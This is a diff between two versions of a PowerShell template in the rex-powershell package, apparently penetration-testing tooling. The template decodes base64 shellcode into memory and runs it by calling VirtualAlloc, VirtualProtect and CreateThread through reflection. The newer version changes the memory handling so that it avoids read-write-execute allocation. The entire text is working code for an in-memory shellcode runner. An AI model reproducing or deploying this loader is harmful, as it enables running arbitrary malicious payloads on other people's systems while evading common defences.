data/templates/to_mem_pshreflection.ps1.template in rex-powershell-0.1.91 vs data/templates/to_mem_pshreflection.ps1.template in rex-powershell-0.1.92
- old
+ new
@@ -1,27 +1,29 @@
function %{func_get_proc_address} {
- Param ($%{var_module}, $%{var_procedure})
- $%{var_unsafe_native_methods} = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
+ Param ($%{var_module}, $%{var_procedure})
+ $%{var_unsafe_native_methods} = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
- return $%{var_unsafe_native_methods}.GetMethod('GetProcAddress', [Type[]]@([System.Runtime.InteropServices.HandleRef], [String])).Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($%{var_unsafe_native_methods}.GetMethod('GetModuleHandle')).Invoke($null, @($%{var_module})))), $%{var_procedure}))
+ return $%{var_unsafe_native_methods}.GetMethod('GetProcAddress', [Type[]]@([System.Runtime.InteropServices.HandleRef], [String])).Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($%{var_unsafe_native_methods}.GetMethod('GetModuleHandle')).Invoke($null, @($%{var_module})))), $%{var_procedure}))
}
function %{func_get_delegate_type} {
- Param (
- [Parameter(Position = 0, Mandatory = $True)] [Type[]] $%{var_parameters},
- [Parameter(Position = 1)] [Type] $%{var_return_type} = [Void]
- )
+ Param (
+ [Parameter(Position = 0, Mandatory = $True)] [Type[]] $%{var_parameters},
+ [Parameter(Position = 1)] [Type] $%{var_return_type} = [Void]
+ )
- $%{var_type_builder} = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
- $%{var_type_builder}.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $%{var_parameters}).SetImplementationFlags('Runtime, Managed')
- $%{var_type_builder}.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $%{var_return_type}, $%{var_parameters}).SetImplementationFlags('Runtime, Managed')
+ $%{var_type_builder} = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
+ $%{var_type_builder}.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $%{var_parameters}).SetImplementationFlags('Runtime, Managed')
+ $%{var_type_builder}.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $%{var_return_type}, $%{var_parameters}).SetImplementationFlags('Runtime, Managed')
- return $%{var_type_builder}.CreateType()
+ return $%{var_type_builder}.CreateType()
}
[Byte[]]$%{var_code} = [System.Convert]::FromBase64String("%{b64shellcode}")
+[Uint32]$%{var_opf} = 0
+$%{var_buffer} = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((%{func_get_proc_address} kernel32.dll VirtualAlloc), (%{func_get_delegate_type} @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]))).Invoke([IntPtr]::Zero, $%{var_code}.Length,0x3000, 0x04)
-$%{var_buffer} = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((%{func_get_proc_address} kernel32.dll VirtualAlloc), (%{func_get_delegate_type} @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]))).Invoke([IntPtr]::Zero, $%{var_code}.Length,0x3000, 0x40)
[System.Runtime.InteropServices.Marshal]::Copy($%{var_code}, 0, $%{var_buffer}, $%{var_code}.length)
-
-$%{var_hthread} = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((%{func_get_proc_address} kernel32.dll CreateThread), (%{func_get_delegate_type} @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]))).Invoke([IntPtr]::Zero,0,$%{var_buffer},[IntPtr]::Zero,0,[IntPtr]::Zero)
-[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((%{func_get_proc_address} kernel32.dll WaitForSingleObject), (%{func_get_delegate_type} @([IntPtr], [Int32]))).Invoke($%{var_hthread},0xffffffff) | Out-Null
+if (([System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((%{func_get_proc_address} kernel32.dll VirtualProtect), (%{func_get_delegate_type} @([IntPtr], [UIntPtr], [UInt32], [UInt32].MakeByRefType()) ([Bool]))).Invoke($%{var_buffer}, [Uint32]$%{var_code}.Length, 0x10, [Ref]$%{var_opf})) -eq $true) {
+ $%{var_hthread} = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((%{func_get_proc_address} kernel32.dll CreateThread), (%{func_get_delegate_type} @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]))).Invoke([IntPtr]::Zero,0,$%{var_buffer},[IntPtr]::Zero,0,[IntPtr]::Zero)
+ [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((%{func_get_proc_address} kernel32.dll WaitForSingleObject), (%{func_get_delegate_type} @([IntPtr], [Int32]))).Invoke($%{var_hthread},0xffffffff) | Out-Null
+}